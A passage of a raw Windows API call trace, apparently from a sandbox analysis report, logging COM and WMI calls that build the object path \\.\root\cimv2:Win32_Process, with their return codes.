[6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0112.342] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0112.342] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2700) returned 0x0 [0112.342] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2700, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0112.342] WbemDefPath:IUnknown:Release (This=0x1b4d2700) returned 0x3 [0112.342] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0112.342] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0112.342] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0112.342] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x2 [0112.342] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x1 [0112.342] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0112.342] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0112.342] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0660) returned 0x0 [0112.342] WbemDefPath:IUnknown:AddRef (This=0x1b4b0660) returned 0x3 [0112.343] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x2 [0112.343] WbemDefPath:IWbemPath:SetText (This=0x1b4b0660, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0112.343] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b05a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0112.343] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0112.343] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0112.343] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0112.343] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4b05a0) returned 0x0 [0112.343] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0112.343] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0660, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0112.343] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0660, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0112.343] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b05a0, uIndex=0x0, pszName="ROOT") returned 0x0 [0112.343] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0660, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0112.343] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0660, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0112.343] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b05a0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0112.343] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b05a0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0112.343] WbemDefPath:IWbemPath:SetClassName (This=0x1b4b05a0, Name="Win32_Process") returned 0x0 [0112.343] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b05a0, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0112.343] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b05a0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0112.343] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0112.343] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0112.343] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b05a0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0112.343] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b05a0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0112.344] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0112.344] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0112.344] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af160, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0112.344] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0112.344] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0112.344] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0112.344] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0112.344] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0112.344] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0112.344] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0112.344] IUnknown:Release (This=0x6124e8) returned 0x1 [0112.345] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b4d2f80) returned 0x0 [0112.345] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2f80, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0112.345] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2f80, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4af2e0) returned 0x0 [0112.345] WbemDefPath:IUnknown:Release (This=0x1b4d2f80) returned 0x0 [0112.345] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4af2e0) returned 0x0 [0112.345] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0112.345] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0112.345] WbemDefPath:IUnknown:AddRef (This=0x1b4af2e0) returned 0x3 [0112.345] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0112.345] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0112.345] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b4d2fc0) returned 0x0 [0112.345] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2fc0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0112.345] WbemDefPath:IUnknown:Release (This=0x1b4d2fc0) returned 0x3 [0112.345] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0112.346] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0112.346] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0112.346] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x2 [0112.346] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x1 [0112.346] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0112.346] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0112.346] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4af2e0) returned 0x0 [0112.346] WbemDefPath:IUnknown:AddRef (This=0x1b4af2e0) returned 0x3 [0112.346] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x2 [0112.346] WbemDefPath:IWbemPath:SetText (This=0x1b4af2e0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0112.346] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af160, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0112.346] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0112.346] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0112.346] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0112.346] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0112.346] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0112.346] IUnknown:Release (This=0x6124e8) returned 0x1 [0112.347] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d3440) returned 0x0 [0112.347] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3440, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0112.347] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3440, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4af3a0) returned 0x0 [0112.347] WbemDefPath:IUnknown:Release (This=0x1b4d3440) returned 0x0 [0112.347] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4af3a0) returned 0x0 [0112.347] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0112.347] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0112.347] WbemDefPath:IUnknown:AddRef (This=0x1b4af3a0) returned 0x3 [0112.347] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0112.348] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0112.348] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d34c0) returned 0x0 [0112.348] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d34c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0112.348] WbemDefPath:IUnknown:Release (This=0x1b4d34c0) returned 0x3 [0112.348] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0112.348] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0112.348] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0112.348] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x2 [0112.348] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x1 [0112.348] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0112.348] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0112.348] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4af3a0) returned 0x0 [0112.348] WbemDefPath:IUnknown:AddRef (This=0x1b4af3a0) returned 0x3 [0112.348] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x2 [0112.348] WbemDefPath:IWbemPath:SetText (This=0x1b4af3a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0112.348] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af2e0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0112.348] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af3a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0112.348] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af3a0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0112.348] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af3a0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0112.348] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4af2e0) returned 0x0 [0112.348] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af3a0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af3a0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af3a0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0112.349] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af2e0, uIndex=0x0, pszName="root") returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af3a0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af3a0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0112.349] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af2e0, uIndex=0x1, pszName="cimv2") returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af3a0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af3a0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af2e0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af2e0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af2e0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af160, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af160, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af2e0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0112.349] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0112.349] CoGetContextToken (in: pToken=0x1b30cea0 | out: 